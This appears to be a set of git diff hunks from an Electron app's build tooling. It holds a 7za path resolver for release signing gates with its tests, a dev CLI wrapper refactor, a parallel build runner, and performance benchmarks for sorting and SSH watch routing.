"\nThis is per PTY, and the relay runs on the user's SSH host. Reads (attach, adopt,\nrevive) now pay the join instead, but those are rare and were already O(window)."
|
||||
)
|
||||
@@ -0,0 +1,102 @@
|
||||
#!/usr/bin/env node
|
||||
|
||||
// Why: electron-builder 26.9+ dropped the bundled `7zip-bin` package in favour of a
|
||||
// toolset downloaded at build time, so the hardcoded `node_modules/7zip-bin/...` path
|
||||
// the release signing gates used silently stopped resolving (#6487).
|
||||
|
||||
import { createRequire } from 'node:module'
|
||||
import { existsSync, statSync } from 'node:fs'
|
||||
import { resolve } from 'node:path'
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
|
||||
// Why not existsSync: PowerShell's `Test-Path` is true for directories too, so a
|
||||
// override pointing at a folder would satisfy both checks and only fail later as
|
||||
// an opaque exec error inside the gate.
|
||||
function isFile(path) {
|
||||
try {
|
||||
return statSync(path).isFile()
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// Legacy layout, still valid if a transitive dep reintroduces 7zip-bin. The
|
||||
// package ships `mac/`, not `darwin/`, and keeps a separate ia32 build.
|
||||
export function legacy7zaRelativePath(platform = process.platform, arch = process.arch) {
|
||||
if (platform === 'win32') {
|
||||
return ['node_modules', '7zip-bin', 'win', arch, '7za.exe']
|
||||
}
|
||||
const dir = platform === 'darwin' ? 'mac' : platform
|
||||
return ['node_modules', '7zip-bin', dir, arch, '7za']
|
||||
}
|
||||
|
||||
// app-builder-lib logs download progress to stdout, which would corrupt the
|
||||
// single-path contract the PowerShell gates parse. Divert it to stderr so a
|
||||
// cold toolset cache stays debuggable without breaking the caller.
|
||||
//
|
||||
// Why refcounted: patching `process.stdout.write` is process-global, so two
|
||||
// concurrent callers would each capture the other's patched function as their
|
||||
// "original" and the last `finally` would restore a diverting stub permanently.
|
||||
let stdoutDivertDepth = 0
|
||||
let originalStdoutWrite = null
|
||||
|
||||
async function withStdoutDivertedToStderr(run) {
|
||||
if (stdoutDivertDepth === 0) {
|
||||
originalStdoutWrite = process.stdout.write
|
||||
process.stdout.write = (chunk, encoding, callback) =>
|
||||
process.stderr.write(chunk, encoding, callback)
|
||||
}
|
||||
stdoutDivertDepth += 1
|
||||
try {
|
||||
return await run()
|
||||
} finally {
|
||||
stdoutDivertDepth -= 1
|
||||
if (stdoutDivertDepth === 0) {
|
||||
process.stdout.write = originalStdoutWrite
|
||||
originalStdoutWrite = null
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export async function resolve7zaPath(projectDir = process.cwd()) {
|
||||
const override = process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
if (override && isFile(override)) {
|
||||
return override
|
||||
}
|
||||
|
||||
const legacy = resolve(projectDir, ...legacy7zaRelativePath())
|
||||
if (isFile(legacy)) {
|
||||
return legacy
|
||||
}
|
||||
|
||||
// app-builder-lib reads the same env var and hard-fails on a stale value, so a
|
||||
// dangling override must be cleared rather than passed through to the download.
|
||||
const restoreOverride = override !== undefined
|
||||
if (restoreOverride) {
|
||||
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
}
|
||||
try {
|
||||
// The toolset is cached after the first download, so a release build has
|
||||
// already paid this cost by the time the signing gate runs.
|
||||
const { getPath7za } = require('app-builder-lib/out/toolsets/7zip.js')
|
||||
const toolsetPath = await withStdoutDivertedToStderr(() => getPath7za())
|
||||
if (!existsSync(toolsetPath)) {
|
||||
throw new Error(`app-builder-lib returned a 7za path that does not exist: ${toolsetPath}`)
|
||||
}
|
||||
return toolsetPath
|
||||
} finally {
|
||||
if (restoreOverride) {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = override
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (import.meta.filename === process.argv[1]) {
|
||||
try {
|
||||
process.stdout.write(`${await resolve7zaPath()}\n`)
|
||||
} catch (error) {
|
||||
process.stderr.write(`Could not resolve a 7za executable: ${error.message}\n`)
|
||||
process.exit(1)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { existsSync, mkdirSync, mkdtempSync, rmSync, statSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join, resolve } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import { legacy7zaRelativePath, resolve7zaPath } from './resolve-7za-path.mjs'
|
||||
|
||||
const projectRoot = resolve(import.meta.dirname, '../..')
|
||||
|
||||
describe('7za path resolution for the Windows signing gates (#6487)', () => {
|
||||
// Why fixtures: 7zip-bin@5.2.0 ships mac/{arm64,x64}, win/{arm64,ia32,x64}
|
||||
// and linux/{arm,arm64,ia32,x64} — a `darwin/` or arch-collapsed guess
|
||||
// resolves to nothing, which is how the gate degraded silently in the first place.
|
||||
it.each([
|
||||
['darwin', 'arm64', 'mac/arm64/7za'],
|
||||
['darwin', 'x64', 'mac/x64/7za'],
|
||||
['win32', 'x64', 'win/x64/7za.exe'],
|
||||
['win32', 'ia32', 'win/ia32/7za.exe'],
|
||||
['win32', 'arm64', 'win/arm64/7za.exe'],
|
||||
['linux', 'x64', 'linux/x64/7za'],
|
||||
['linux', 'arm64', 'linux/arm64/7za']
|
||||
])('maps the %s/%s legacy layout to %s', (platform, arch, expected) => {
|
||||
expect(legacy7zaRelativePath(platform, arch).join('/')).toBe(
|
||||
`node_modules/7zip-bin/${expected}`
|
||||
)
|
||||
})
|
||||
|
||||
it('prefers a real legacy binary over the downloaded toolset', async () => {
|
||||
// Only meaningful if a transitive dep reintroduces the package.
|
||||
const legacy = join(projectRoot, ...legacy7zaRelativePath())
|
||||
if (!existsSync(legacy)) {
|
||||
return
|
||||
}
|
||||
await expect(resolve7zaPath(projectRoot)).resolves.toBe(legacy)
|
||||
})
|
||||
|
||||
it('resolves an executable 7za that can extract an archive', async () => {
|
||||
const path7za = await resolve7zaPath(projectRoot)
|
||||
expect(existsSync(path7za)).toBe(true)
|
||||
|
||||
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za resolve '))
|
||||
try {
|
||||
const payloadDir = join(scratch, 'payload')
|
||||
mkdirSync(payloadDir, { recursive: true })
|
||||
writeFileSync(join(payloadDir, 'Orca.exe'), 'not-a-real-pe')
|
||||
|
||||
const archive = join(scratch, 'bundle.7z')
|
||||
const created = spawnSync(path7za, ['a', archive, payloadDir], { encoding: 'utf8' })
|
||||
expect(created.status).toBe(0)
|
||||
|
||||
const outDir = join(scratch, 'out')
|
||||
const extracted = spawnSync(path7za, ['x', archive, `-o${outDir}`, '-y'], {
|
||||
encoding: 'utf8'
|
||||
})
|
||||
expect(extracted.status).toBe(0)
|
||||
expect(existsSync(join(outDir, 'payload', 'Orca.exe'))).toBe(true)
|
||||
} finally {
|
||||
rmSync(scratch, { recursive: true, force: true })
|
||||
}
|
||||
}, 120_000)
|
||||
|
||||
it('prefers an explicit ELECTRON_BUILDER_7ZIP_PATH override', async () => {
|
||||
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za override '))
|
||||
const previous = process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
try {
|
||||
const fake = join(scratch, 'my7za')
|
||||
writeFileSync(fake, '#!/bin/sh\n')
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = fake
|
||||
await expect(resolve7zaPath(projectRoot)).resolves.toBe(fake)
|
||||
} finally {
|
||||
if (previous === undefined) {
|
||||
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
} else {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = previous
|
||||
}
|
||||
rmSync(scratch, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
// Why a directory and not a missing path: PowerShell's `Test-Path $7za` is true
|
||||
// for directories, so a folder-valued override would clear both the resolver's
|
||||
// check and the gate's, then fail as an opaque exec error mid-extraction.
|
||||
it('ignores an override that points at a directory', async () => {
|
||||
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za dir override '))
|
||||
const previous = process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
try {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = scratch
|
||||
const resolved = await resolve7zaPath(projectRoot)
|
||||
expect(resolved).not.toBe(scratch)
|
||||
expect(statSync(resolved).isFile()).toBe(true)
|
||||
} finally {
|
||||
if (previous === undefined) {
|
||||
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
} else {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = previous
|
||||
}
|
||||
rmSync(scratch, { recursive: true, force: true })
|
||||
}
|
||||
}, 120_000)
|
||||
|
||||
// Why concurrency: the stdout diversion patches a process-global function. A
|
||||
// naive save/restore lets the first finisher reinstate a still-diverting stub
|
||||
// as "the original", permanently swallowing stdout for the rest of the process.
|
||||
it('restores stdout after concurrent resolutions', async () => {
|
||||
const before = process.stdout.write
|
||||
await Promise.all([
|
||||
resolve7zaPath(projectRoot),
|
||||
resolve7zaPath(projectRoot),
|
||||
resolve7zaPath(projectRoot)
|
||||
])
|
||||
expect(process.stdout.write).toBe(before)
|
||||
}, 120_000)
|
||||
|
||||
// Why a subprocess: app-builder-lib memoises the resolved toolset, so an in-process
|
||||
// assertion passes on the cached value even when a dangling override would abort a
|
||||
// cold release runner.
|
||||
it('ignores an override that points at a missing file, in a cold process', () => {
|
||||
const dangling = join(tmpdir(), 'orca-7za-does-not-exist')
|
||||
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
env: { ...process.env, ELECTRON_BUILDER_7ZIP_PATH: dangling },
|
||||
timeout: 120_000
|
||||
})
|
||||
|
||||
expect(result.stderr ?? '').not.toContain('does not exist')
|
||||
expect(result.status).toBe(0)
|
||||
const resolved = result.stdout.trim()
|
||||
expect(resolved).not.toBe(dangling)
|
||||
expect(existsSync(resolved)).toBe(true)
|
||||
}, 120_000)
|
||||
|
||||
it('prints exactly one clean line the PowerShell gate can consume', () => {
|
||||
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
timeout: 120_000
|
||||
})
|
||||
|
||||
expect(result.status).toBe(0)
|
||||
expect(result.stdout.trimEnd().split('\n')).toHaveLength(1)
|
||||
expect(existsSync(result.stdout.trim())).toBe(true)
|
||||
}, 120_000)
|
||||
|
||||
// Why a cold cache with VITEST unset: app-builder-lib prints download
|
||||
// progress to stdout, and builder-util suppresses that logging under Vitest —
|
||||
// so an inherited VITEST makes this exact failure invisible. `$7za = (node
|
||||
// ...).Trim()` would otherwise receive two lines and the gate would break on
|
||||
// any runner whose toolset cache was evicted or repaired.
|
||||
it('keeps stdout to one path even when the toolset cache is cold', () => {
|
||||
const cache = mkdtempSync(join(tmpdir(), 'orca 7za cold cache '))
|
||||
try {
|
||||
const { VITEST: _vitest, ...envWithoutVitest } = process.env
|
||||
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
env: { ...envWithoutVitest, ELECTRON_BUILDER_CACHE: cache },
|
||||
timeout: 300_000
|
||||
})
|
||||
|
||||
expect(result.status).toBe(0)
|
||||
const lines = result.stdout.trimEnd().split('\n')
|
||||
expect(lines).toHaveLength(1)
|
||||
expect(existsSync(lines[0])).toBe(true)
|
||||
} finally {
|
||||
rmSync(cache, { recursive: true, force: true })
|
||||
}
|
||||
}, 300_000)
|
||||
})
|
||||
@@ -1,7 +1,6 @@
|
||||
import { execFileSync, spawn } from 'node:child_process'
|
||||
import { createHash } from 'node:crypto'
|
||||
import {
|
||||
chmodSync,
|
||||
cpSync,
|
||||
existsSync,
|
||||
lstatSync,
|
||||
@@ -17,6 +16,7 @@ import {
|
||||
import net from 'node:net'
|
||||
import { createRequire } from 'node:module'
|
||||
import path from 'node:path'
|
||||
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
|
||||
|
||||
// Why: Electron-based hosts (e.g. Claude Code, VS Code) set
|
||||
// ELECTRON_RUN_AS_NODE=1 in their terminal environment. If this leaks into
|
||||
@@ -314,35 +314,12 @@ function getDevUserDataPath() {
|
||||
}
|
||||
|
||||
function prepareDevCliWrapper() {
|
||||
const binDir = path.join(repoRoot, 'out', 'bin')
|
||||
mkdirSync(binDir, { recursive: true })
|
||||
const userDataPath = getDevUserDataPath()
|
||||
const userDataBinDir = path.join(userDataPath, 'cli', 'bin')
|
||||
const cliPath = path.join(repoRoot, 'out', 'cli', 'index.js')
|
||||
const electronBin = getElectronExecutable()
|
||||
|
||||
if (process.platform === 'win32') {
|
||||
writeFileSync(
|
||||
path.join(binDir, 'orca-dev.cmd'),
|
||||
`@echo off\r\nset "ORCA_USER_DATA_PATH=${userDataPath}"\r\nset "ORCA_APP_EXECUTABLE=${electronBin}"\r\nset "ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1"\r\nnode "${cliPath}" %*\r\n`,
|
||||
'utf8'
|
||||
)
|
||||
} else {
|
||||
const wrapperContent = `#!/usr/bin/env bash\nexport ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}\nexport ORCA_APP_EXECUTABLE=${JSON.stringify(electronBin)}\nexport ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1\nexec node ${JSON.stringify(cliPath)} "$@"\n`
|
||||
const wrapperPath = path.join(binDir, 'orca-dev')
|
||||
writeFileSync(wrapperPath, wrapperContent, 'utf8')
|
||||
chmodSync(wrapperPath, 0o755)
|
||||
|
||||
mkdirSync(userDataBinDir, { recursive: true })
|
||||
for (const commandName of ['orca-dev', 'orca']) {
|
||||
const userDataWrapperPath = path.join(userDataBinDir, commandName)
|
||||
// Why: dev Orca terminals prepend this directory to PATH; refreshing the
|
||||
// `orca` alias prevents stale global/userData wrappers from hijacking
|
||||
// Orca-owned commands such as `orca claude-teams`.
|
||||
writeFileSync(userDataWrapperPath, wrapperContent, 'utf8')
|
||||
chmodSync(userDataWrapperPath, 0o755)
|
||||
}
|
||||
}
|
||||
const { binDir } = prepareDevCliTerminalWrappers({
|
||||
repoRoot,
|
||||
userDataPath,
|
||||
electronExecutable: getElectronExecutable()
|
||||
})
|
||||
|
||||
process.env.PATH = `${binDir}${path.delimiter}${process.env.PATH ?? ''}`
|
||||
console.log(`[orca-dev] Prepared wrapper in ${binDir}`)
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
import { spawn } from 'node:child_process'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const buildScript = fileURLToPath(new URL('./run-electron-vite-build.mjs', import.meta.url))
|
||||
const targetConfig = fileURLToPath(new URL('../electron-vite-target.config.ts', import.meta.url))
|
||||
const targets = ['main', 'preload', 'renderer']
|
||||
|
||||
function buildTarget(target) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const child = spawn(
|
||||
process.execPath,
|
||||
[buildScript, '--config', targetConfig, '--ignoreConfigWarning'],
|
||||
{
|
||||
stdio: 'inherit',
|
||||
env: {
|
||||
...process.env,
|
||||
ORCA_ELECTRON_VITE_TARGET: target
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
child.on('error', reject)
|
||||
child.on('exit', (code, signal) => {
|
||||
if (signal) {
|
||||
reject(new Error(`Electron Vite ${target} build exited with signal ${signal}`))
|
||||
} else if (code !== 0) {
|
||||
reject(new Error(`Electron Vite ${target} build exited with code ${code}`))
|
||||
} else {
|
||||
resolve()
|
||||
}
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
const results = await Promise.allSettled(targets.map(buildTarget))
|
||||
const failures = results.filter((result) => result.status === 'rejected')
|
||||
|
||||
if (failures.length > 0) {
|
||||
for (const failure of failures) {
|
||||
console.error(failure.reason)
|
||||
}
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: cost of sorting the Source Control changed-file list.
|
||||
//
|
||||
// compareGitStatusEntries called `a.path.localeCompare(b.path, undefined, {numeric:true})`.
|
||||
// Passing an options object makes each call resolve a fresh ICU collator, so a
|
||||
// sort paid for one per O(n log n) comparison. The fix hoists a single
|
||||
// Intl.Collator, which is the idiom TaskPage.tsx already uses for Jira labels.
|
||||
//
|
||||
// The sort runs in a useMemo keyed on the entry list, so it re-runs on every git
|
||||
// refresh that changes the working tree.
|
||||
//
|
||||
// Both arms sort the same generated list and their outputs are compared before
|
||||
// timing, so a comparator that changed the order cannot be reported as a win.
|
||||
import { execFileSync } from 'node:child_process'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const ITERATIONS = Number(process.env.ORCA_SC_SORT_BENCH_ITERATIONS ?? '25')
|
||||
const WARMUP = Number(process.env.ORCA_SC_SORT_BENCH_WARMUP ?? '5')
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_SC_SORT_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_SC_SORT_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isSafeInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
function conflictRank(entry) {
|
||||
if (entry.conflictStatus === 'unresolved') {
|
||||
return 0
|
||||
}
|
||||
if (entry.conflictStatus === 'resolved_locally') {
|
||||
return 1
|
||||
}
|
||||
return 2
|
||||
}
|
||||
|
||||
// Pre-fix: resolves a collator per comparison.
|
||||
function compareBefore(a, b) {
|
||||
return (
|
||||
conflictRank(a) - conflictRank(b) || a.path.localeCompare(b.path, undefined, { numeric: true })
|
||||
)
|
||||
}
|
||||
|
||||
// Post-fix: one hoisted collator, mirroring source-control-status-sort.ts.
|
||||
const collator = new Intl.Collator(undefined, { numeric: true })
|
||||
function compareAfter(a, b) {
|
||||
return conflictRank(a) - conflictRank(b) || collator.compare(a.path, b.path)
|
||||
}
|
||||
|
||||
// Why real repo paths in git's own order: `git status` emits byte-sorted paths,
|
||||
// and a shuffled fixture inflates the win — a nearly-sorted array is the case
|
||||
// this actually has to beat.
|
||||
const REPO_PATHS = execFileSync('git', ['ls-files'], {
|
||||
cwd: fileURLToPath(new URL('../..', import.meta.url)),
|
||||
maxBuffer: 256 * 1024 * 1024
|
||||
})
|
||||
.toString()
|
||||
.split('\n')
|
||||
.filter(Boolean)
|
||||
|
||||
function makeEntries(count) {
|
||||
const step = Math.max(1, Math.floor(REPO_PATHS.length / count))
|
||||
const paths = []
|
||||
for (let index = 0; index < REPO_PATHS.length && paths.length < count; index += step) {
|
||||
paths.push(REPO_PATHS[index])
|
||||
}
|
||||
return paths.map((path, index) => ({
|
||||
path,
|
||||
area: 'unstaged',
|
||||
status: 'modified',
|
||||
...(index % 37 === 0 ? { conflictStatus: 'unresolved' } : {})
|
||||
}))
|
||||
}
|
||||
|
||||
function measure(compare, entries) {
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
;[...entries].sort(compare)
|
||||
}
|
||||
const samples = []
|
||||
for (let round = 0; round < 5; round += 1) {
|
||||
const start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
;[...entries].sort(compare)
|
||||
}
|
||||
samples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
samples.sort((a, b) => a - b)
|
||||
return samples[2]
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Source Control changed-file sort, per git refresh. Lower is better.')
|
||||
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
|
||||
console.log(`${pad('files', 7)} ${pad('per-call', 11)} ${pad('hoisted', 11)} ${pad('speedup', 9)}`)
|
||||
|
||||
// Sizes from the real distribution over 7,324 non-merge commits on this repo:
|
||||
// p50 3, p75 7, p90 17, p95 26, p99 63, max 1626.
|
||||
for (const count of [3, 17, 26, 63, 308, 1000]) {
|
||||
const entries = makeEntries(count)
|
||||
const before = [...entries].sort(compareBefore).map((entry) => entry.path)
|
||||
const after = [...entries].sort(compareAfter).map((entry) => entry.path)
|
||||
if (before.join('\n') !== after.join('\n')) {
|
||||
throw new Error(`sort order differs at ${count} files`)
|
||||
}
|
||||
const beforeMs = measure(compareBefore, entries)
|
||||
const afterMs = measure(compareAfter, entries)
|
||||
console.log(
|
||||
`${pad(count, 7)} ${pad(`${beforeMs.toFixed(3)} ms`, 11)} ${pad(`${afterMs.toFixed(3)} ms`, 11)} ${pad(`${(beforeMs / afterMs).toFixed(1)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\nSizes are the real changed-file distribution over 7,324 non-merge commits on\nthis repo (p50 3, p90 17, p95 26, p99 63), so the top rows are the common case.\nThis times the sort alone; the sort is roughly 85% of the Source Control\nprojection chain, so the end-to-end memo win is smaller than these ratios.'
|
||||
)
|
||||
@@ -0,0 +1,190 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: routing one `fs.changed` relay notification to SSH watch registrations.
|
||||
//
|
||||
// routeSshFilesystemWatchNotification called isPathInsideOrEqual(root, event.path)
|
||||
// for every (registration x event) pair. That helper NFC-normalizes BOTH sides, so
|
||||
// each event path was re-normalized once per watch root, and each root was
|
||||
// re-normalized once per event -- O(roots * events) normalizations for what is
|
||||
// O(roots + events) distinct work.
|
||||
//
|
||||
// The fix normalizes each event path once up front and builds one pre-normalized
|
||||
// matcher per root, leaving only string compare in the inner loop.
|
||||
//
|
||||
// This is a hot path on SSH: the relay watcher batches up to MAX_BATCHED_WATCHER_EVENTS
|
||||
// per notify, and a single `git checkout` or `pnpm install` on the remote host emits
|
||||
// thousands of paths through it.
|
||||
//
|
||||
// Both arms are run against the same inputs and their outputs are compared before
|
||||
// timing, so a matcher that changed which events route where cannot be reported as
|
||||
// a win. The normalizer is imported from the real module (via tsx) rather than
|
||||
// re-modelled here, so folding-rule drift cannot silently invalidate the result.
|
||||
import { execFileSync } from 'node:child_process'
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url))
|
||||
const ITERATIONS = Number(process.env.ORCA_SSH_WATCH_BENCH_ITERATIONS ?? '200')
|
||||
const WARMUP = Number(process.env.ORCA_SSH_WATCH_BENCH_WARMUP ?? '30')
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_SSH_WATCH_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_SSH_WATCH_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isSafeInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
// Why re-read the source: this benchmark's whole claim is that the normalizer is
|
||||
// the expensive part. If someone makes it cheap (or drops the NFC fold), the
|
||||
// numbers below stop meaning what the header says, so fail loudly instead.
|
||||
const PATH_SOURCE = readFileSync(
|
||||
new URL('../../src/shared/cross-platform-path.ts', import.meta.url),
|
||||
'utf8'
|
||||
)
|
||||
for (const marker of ['normalize(', 'createNormalizedPathInsideOrEqualMatcher']) {
|
||||
if (!PATH_SOURCE.includes(marker)) {
|
||||
throw new Error(`cross-platform-path.ts no longer contains ${marker}; this benchmark is stale`)
|
||||
}
|
||||
}
|
||||
|
||||
// Import the real normalizer so both arms fold paths exactly as production does.
|
||||
const {
|
||||
normalizeRuntimePathForComparison,
|
||||
isPathInsideOrEqual,
|
||||
createNormalizedPathInsideOrEqualMatcher
|
||||
} = await import(new URL('../../src/shared/cross-platform-path.ts', import.meta.url).href)
|
||||
|
||||
// Pre-fix: mirrors the original routeSshFilesystemWatchNotification inner loop.
|
||||
function routeBefore(roots, events, sink) {
|
||||
for (const rootPath of roots) {
|
||||
const matching = events.filter((event) => isPathInsideOrEqual(rootPath, event.absolutePath))
|
||||
if (matching.length > 0) {
|
||||
sink(rootPath, matching)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Post-fix: mirrors the current implementation.
|
||||
function routeAfter(roots, events, sink) {
|
||||
const normalizedEvents = events.map((event) => ({
|
||||
event,
|
||||
normalizedPath: normalizeRuntimePathForComparison(event.absolutePath)
|
||||
}))
|
||||
for (const rootPath of roots) {
|
||||
const isInsideRoot = createNormalizedPathInsideOrEqualMatcher(rootPath)
|
||||
const matching = normalizedEvents
|
||||
.filter(({ normalizedPath }) => isInsideRoot(normalizedPath))
|
||||
.map(({ event }) => event)
|
||||
if (matching.length > 0) {
|
||||
sink(rootPath, matching)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Why real repo paths: path length and segment count drive normalization cost, and
|
||||
// a synthetic `/a/b/c` fixture would understate it against real source trees.
|
||||
const REPO_PATHS = execFileSync('git', ['ls-files'], {
|
||||
cwd: REPO_ROOT,
|
||||
maxBuffer: 256 * 1024 * 1024
|
||||
})
|
||||
.toString()
|
||||
.split('\n')
|
||||
.filter(Boolean)
|
||||
|
||||
// A remote host running several worktrees: each is its own watch root, and the
|
||||
// file explorer plus the worktree-base-directory watcher both register.
|
||||
function makeRoots(count) {
|
||||
return Array.from({ length: count }, (_, index) => `/home/dev/worktrees/orca-${index}`)
|
||||
}
|
||||
|
||||
function makeEvents(roots, count) {
|
||||
const events = []
|
||||
for (let index = 0; index < count; index += 1) {
|
||||
// Spread events across roots so most roots match some events, as a real
|
||||
// multi-worktree checkout does. Paths outside any root also occur (node_modules
|
||||
// of a sibling checkout), so include a slice of those too.
|
||||
const root = index % 11 === 0 ? '/home/dev/other-checkout' : roots[index % roots.length]
|
||||
events.push({
|
||||
kind: 'update',
|
||||
absolutePath: `${root}/${REPO_PATHS[index % REPO_PATHS.length]}`
|
||||
})
|
||||
}
|
||||
return events
|
||||
}
|
||||
|
||||
function collect(roots, events, route) {
|
||||
const seen = []
|
||||
route(roots, events, (rootPath, matching) =>
|
||||
seen.push(`${rootPath} ${matching.map((event) => event.absolutePath).join(',')}`)
|
||||
)
|
||||
return seen.join('\n')
|
||||
}
|
||||
|
||||
// Why interleaved: running one arm's whole batch before the other's lets CPU
|
||||
// frequency drift and background load correlate with the arm being measured. On a
|
||||
// loaded machine that alone swung the 12x200 row between 6.7x and 23.3x. Alternating
|
||||
// per round and taking per-arm medians keeps the drift common to both.
|
||||
function measureInterleaved(roots, events) {
|
||||
const noop = () => undefined
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
routeBefore(roots, events, noop)
|
||||
routeAfter(roots, events, noop)
|
||||
}
|
||||
const beforeSamples = []
|
||||
const afterSamples = []
|
||||
for (let round = 0; round < 5; round += 1) {
|
||||
let start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
routeBefore(roots, events, noop)
|
||||
}
|
||||
beforeSamples.push((performance.now() - start) / ITERATIONS)
|
||||
|
||||
start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
routeAfter(roots, events, noop)
|
||||
}
|
||||
afterSamples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
beforeSamples.sort((a, b) => a - b)
|
||||
afterSamples.sort((a, b) => a - b)
|
||||
return { beforeMs: beforeSamples[2], afterMs: afterSamples[2] }
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('SSH fs.changed fan-out, per relay notification. Lower is better.')
|
||||
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
|
||||
console.log(
|
||||
`${pad('roots', 6)} ${pad('events', 7)} ${pad('per-pair', 11)} ${pad('hoisted', 11)} ${pad('speedup', 9)}`
|
||||
)
|
||||
|
||||
// roots x events: 3x20 is a typical few-worktree session with a small save; the
|
||||
// larger rows are a remote `git checkout` or `pnpm install` storm, which the relay
|
||||
// batches up to MAX_BATCHED_WATCHER_EVENTS (5,000) per notification.
|
||||
for (const [rootCount, eventCount] of [
|
||||
[3, 20],
|
||||
[6, 50],
|
||||
[12, 200],
|
||||
[25, 500],
|
||||
[25, 5000]
|
||||
]) {
|
||||
const roots = makeRoots(rootCount)
|
||||
const events = makeEvents(roots, eventCount)
|
||||
const before = collect(roots, events, routeBefore)
|
||||
const after = collect(roots, events, routeAfter)
|
||||
if (before !== after) {
|
||||
throw new Error(`routing differs at ${rootCount} roots x ${eventCount} events`)
|
||||
}
|
||||
if (!before.includes(' ')) {
|
||||
throw new Error(`fixture routed nothing at ${rootCount} roots x ${eventCount} events`)
|
||||
}
|
||||
const { beforeMs, afterMs } = measureInterleaved(roots, events)
|
||||
console.log(
|
||||
`${pad(rootCount, 6)} ${pad(eventCount, 7)} ${pad(`${beforeMs.toFixed(3)} ms`, 11)} ${pad(`${afterMs.toFixed(3)} ms`, 11)} ${pad(`${(beforeMs / afterMs).toFixed(1)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
|
||||
console.log(
|
||||
'\nThis times routing only. The saving scales with roots x events, so it is small\nfor a single-worktree session and largest during a remote checkout storm, which\nis exactly when the main process is already busy.'
|
||||
)
|
||||
@@ -0,0 +1,202 @@
|
||||
#!/usr/bin/env node
|
||||
// Mirrors the complete pre/post stripTerminalControl paths at their production size caps.
|
||||
import { performance } from 'node:perf_hooks'
|
||||
|
||||
const ESC = String.fromCharCode(0x1b)
|
||||
const BEL = String.fromCharCode(0x07)
|
||||
const ANSI_ESCAPE_RE = new RegExp(
|
||||
`${ESC}(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~]|\\][^${BEL}]*(?:${BEL}|${ESC}\\\\))`,
|
||||
'g'
|
||||
)
